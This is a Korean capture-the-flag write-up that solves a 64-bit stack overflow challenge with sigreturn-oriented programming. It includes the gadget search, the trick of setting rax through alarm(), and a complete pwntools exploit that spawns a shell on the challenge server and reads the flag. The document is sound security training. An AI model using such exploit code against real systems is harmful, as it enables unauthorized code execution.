SROP2

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[48]; // [rsp+0h] [rbp-30h] BYREF

  setvbuf(_bss_start, 0LL, 2, 0LL);
  alarm(0x20u);
  gets(v4);
  return 0;
}
```

x64 바이너리이고, NX가 적용되어 있다. `get()`로 입력을 받아 BOF가 가능하다.

```
root@692d13e2c0a2 /pwn
❯ ROPgadget --binary srop64_v2 | grep "pop rdi"
0x00000000004006a3 : pop rdi ; ret

root@692d13e2c0a2 /pwn
❯ ROPgadget --binary srop64_v2 | grep "pop rsi"
0x00000000004006a1 : pop rsi ; pop r15 ; ret

root@692d13e2c0a2 /pwn
❯ ROPgadget --binary srop64_v2 | grep "pop rdx"

root@692d13e2c0a2 /pwn
❯ ROPgadget --binary srop64_v2 | grep "pop rax"

root@692d13e2c0a2 /pwn
❯ ROPgadget --binary srop64_v2 | grep "syscall"
0x000000000040063e : syscall
```

가젯을 보니 SROP 문제인 것을 알 수 있다.
문제는 rax 가젯이 없다는 것이다.

```
#include <unistd.h>
unsigned int alarm(unsigned int seconds);
```

rax 컨트롤은 `alarm()`을 사용해야 한다.
`alarm()`은 **이전에 설정된 알람이 시그널을 전달할 때까지 남은 시간을 초 단위의 숫자로 반환**하거나, 이전에 설정된 알람이 없다면 0을 반환한다. (참고)

코드를 보면 `alarm(0x20u);` 으로 이미 세팅되어 있으므로 rax를 0 이외의 값으로 세팅(`0X1 ~ 0x20`)하는 것이 가능하다.

```
root@692d13e2c0a2 /pwn 50m 47s
❯ strings -tx ./srop64_v2 | grep "/bin/sh"
```

또한 `/bin/sh` 문자열을 써줘야 한다.

```
.text:000000000040063E                 syscall
.text:0000000000400640 ; void _libc_csu_init(void)
.text:0000000000400640                 public __libc_csu_init
.text:0000000000400640 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400640 ; __unwind {
.text:0000000000400640                 push    r15
.text:0000000000400642                 push    r14
.text:0000000000400644                 mov     r15d, edi
.text:0000000000400647                 push    r13
.text:0000000000400649                 push    r12
.text:000000000040064B                 lea     r12, __frame_dummy_init_array_entry
.text:0000000000400652                 push    rbp
.text:0000000000400653                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:000000000040065A                 push    rbx
```

평범한 SROP 하듯이 `read(0, bss, 0x100)` 후 `execve("/bin/sh", 0, 0)`을 하면 에러가 발생한다.
그 이유는 `syscall` 가젯이 `syscall; ret`이 아니기 때문이다. 위에서 볼 수 있듯이 `syscall` 후 바로 `__libc_csu_init`이 호출되기 때문에 `GOT Table`이 초기화고, `read()` 후의 rax를 컨트롤하는 것이 불가능하다. (바로 리턴되지 않기 때문이다.)

따라서 `syscall`**이 무조건 한 번만 이루어져야 한다**는 것을 알 수 있다.

해당 조건들을 고려한 두 번째 시나리오는 다음과 같다.

1. `gets()`를 한 번 더 호출해서 `bss` 영역에 `/bin/sh` 입력
2. 이후 `alarm()`으로 rax 컨트롤 후 `SitreturnFrame()`을 활용해 `execve()` 호출

Exploit

```
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

p = process('./srop64_v2')
e = ELF('./srop64_v2')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

syscall = 0x40063e
rdi_ret = 0x4006a3
binsh = b"/bin/sh\x00"
bss = e.bss()

alarm_addr = e.symbols.alarm
gets_addr = e.symbols.gets

frame = SigreturnFrame()
frame.rip = syscall
frame.rax = 0x3b # execve syscall
frame.rdi = bss + 0x50

pay = b"A" * 0x30
pay += b"S" * 0x8
pay += p64(rdi_ret)
pay += p64(bss + 0x50)
pay += p64(e.symbols.gets)
pay += p64(alarm_addr)
pay += p64(syscall)
pay += bytes(frame)

p.sendline(pay)

sleep(17)
p.sendline(binsh)
p.sendline(b'id')

p.interactive()
```

첫 `gets()`로 모든 페이로드를 받은 뒤, 두 번째 `gets()` 호출에는 `bss+0x50` 주소에 `/bin/sh`을 쓴다.
이후 `alarm()`을 호출된다. 이 때 17초 `sleep()`하게 되면 `32 - 17 = 15`가 리턴되어 `sigreturn()`을 호출하는 것이 가능하다.

```
$ py srop2.py
[+] Opening connection to realsung.kr on port 9016: Done
[*] '/home/dgevy/Stealien/12th/srop64_v2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[DEBUG] Sent 0x159 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  |AAAA|AAAA|AAAA|AAAA|
    *
    00000030  53 53 53 53  53 53 53 53  a3 06 40 00  00 00 00 00  |SSSS|SSSS|··@·|····|
    00000040  98 10 60 00  00 00 00 00  d0 04 40 00  00 00 00 00  |··`·|····|··@·|····|
```

```
    00000050  b0 04 40 00  00 00 00 00  3e 06 40 00  00 00 00 00  |··@·|····|>·@·|····|
    00000060  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
    *
    000000c0  00 00 00 00  00 00 00 00  98 10 60 00  00 00 00 00  |····|····|··`·|····|
    000000d0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
    *
    000000f0  3b 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |;···|····|····|····|
    00000100  00 00 00 00  00 00 00 00  3e 06 40 00  00 00 00 00  |····|····|>·@·|····|
    00000110  00 00 00 00  00 00 00 00  33 00 00 00  00 00 00 00  |····|····|3···|····|
    00000120  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  |····|····|····|····|
    *
    00000150  00 00 00 00  00 00 00 00  0a                       |····|····|·|
    00000159
[DEBUG] Sent 0x9 bytes:
    00000000  2f 62 69 6e  2f 73 68 00  0a                       |/bin|/sh·|·|
    00000009
[DEBUG] Sent 0x3 bytes:
    b'id\n'
[*] Switching to interactive mode
[DEBUG] Received 0x2d bytes:
    b'uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)\n'
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x1d bytes:
    b'flag{r341rEa1_mastEr_sIGNA1}\n'
flag{r341rEa1_mastEr_sIGNA1}
```

Review

문제를 푸는 과정에서 꼭 `read()`를 사용해야 한다는 고정관념 때문에 rax 컨트롤에 집착하게 되었다. 이로 인해 `syscall`을 한 번만 호출할 수 있다는 사실을 간과하게 되었다.
할 수 있는 것과 할 수 없는 것을 냉정하게 판단하고 주어진 것들로 문제를 어떻게 풀 수 있을지 생각하는 습관을 길러야 겠다.